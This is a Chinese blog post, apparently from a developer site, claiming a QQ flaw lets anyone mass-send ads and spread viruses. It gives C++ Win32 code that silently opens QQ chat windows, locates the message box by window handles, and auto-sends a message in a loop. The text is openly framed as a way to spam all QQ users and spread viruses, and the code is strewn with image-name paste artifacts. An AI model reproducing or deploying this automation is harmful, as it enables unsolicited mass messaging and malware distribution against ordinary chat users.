QQ存在重大漏洞,用户可以群发小广告,传播病毒

QQ允许发送匿名消息,虽然我们可以把它关掉,但默认是允许的,这就给人以可乘之机,这样我们可以利用它来给所有QQ用户群发小广告,传播病毒。
实现代码
None.gif HRESULT CtestQQDlg::SendMsg(CString qqNum, CString msg)
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif    
InBlock.gif CString str;
InBlock.gif    str.Format (_T (
"Tencent://Message/?Menu=YES&Exe=QQ&Uin=%s"), qqNum);   
InBlock.gif
InBlock.gif  ShellExecute (NULL, _T (
"open"), str, NULL, NULL, SW_HIDE);  
InBlock.gif
InBlock.gif
//寻找桌面上已打开的聊天窗口,然后对该窗口进行自动发送消息:
InBlock.gif

InBlock.gif    HWND hwnd1 
= NULL;
InBlock.gif    HWND hwnd2 
= NULL;
InBlock.gif    HWND hRichEdit 
= NULL;
InBlock.gif    
//HWND hSendButton = NULL;
InBlock.gif
InBlock.gif    
//尝试找到句柄,尝试10次,如果未找到
InBlock.gif
    int testTimes = 10,testCount = 0;
InBlock.gif    
while(g_hwnd == NULL && testCount < testTimes)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        EnumWindows (EnumWindowsProc, NULL);
InBlock.gif        Sleep(
500);
InBlock.gif        testCount
++;
ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif    
if (g_hwnd == NULL)   //g_hwnd标识找到的聊天窗口
ExpandedSubBlockStart.gifContractedSubBlock.gif
    dot.gif
InBlock.gif        
return S_FALSE;
ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif    
do
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        
if ((hwnd1 = ::FindWindowEx (g_hwnd, NULL, _T ("#32770"), NULL)) != NULL 
InBlock.gif            
&& GetWindowLong (hwnd1, GWL_STYLE) == 0x50000044)
InBlock.gif            
break;
ExpandedSubBlockEnd.gif    }
while (hwnd1 != NULL);
InBlock.gif
InBlock.gif    
if (hwnd1 == NULL)
InBlock.gif        
return S_FALSE;
InBlock.gif
InBlock.gif    
do
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        
if ((hwnd2 = ::FindWindowEx (hwnd1, NULL, _T ("AfxWnd42"), NULL)) != NULL
InBlock.gif            
&& (hRichEdit = ::GetDlgItem (hwnd2, 0x37e)) != NULL)
InBlock.gif            
break;
ExpandedSubBlockEnd.gif    }
while (hwnd2 != NULL);
InBlock.gif
InBlock.gif    
if (hwnd2 == NULL || hRichEdit == NULL)
InBlock.gif        
return S_FALSE;
InBlock.gif
InBlock.gif    CHARRANGE r;
InBlock.gif    r.cpMax 
= -1;
InBlock.gif    r.cpMin 
= 0;
InBlock.gif
InBlock.gif    UpdateData (TRUE);
InBlock.gif    
int times = atoi (m_sendTimes);
InBlock.gif    
for (int i=0; i < times; i++)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        ::SendMessage (hRichEdit, EM_EXSETSEL, 
0, (LPARAM) &r);
InBlock.gif        ::SendMessage (hRichEdit, EM_REPLACESEL, 
0, (LPARAM)(LPCTSTR)msg);
InBlock.gif        ::SendMessage (hwnd1, WM_COMMAND, 
1, NULL);
InBlock.gif        Sleep (
1000);
ExpandedSubBlockEnd.gif    }

InBlock.gif    ::SendMessage (g_hwnd, WM_CLOSE, 
0, NULL);      //  最后可以选择关闭该窗口 
InBlock.gif
    return S_OK;
ExpandedBlockEnd.gif}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值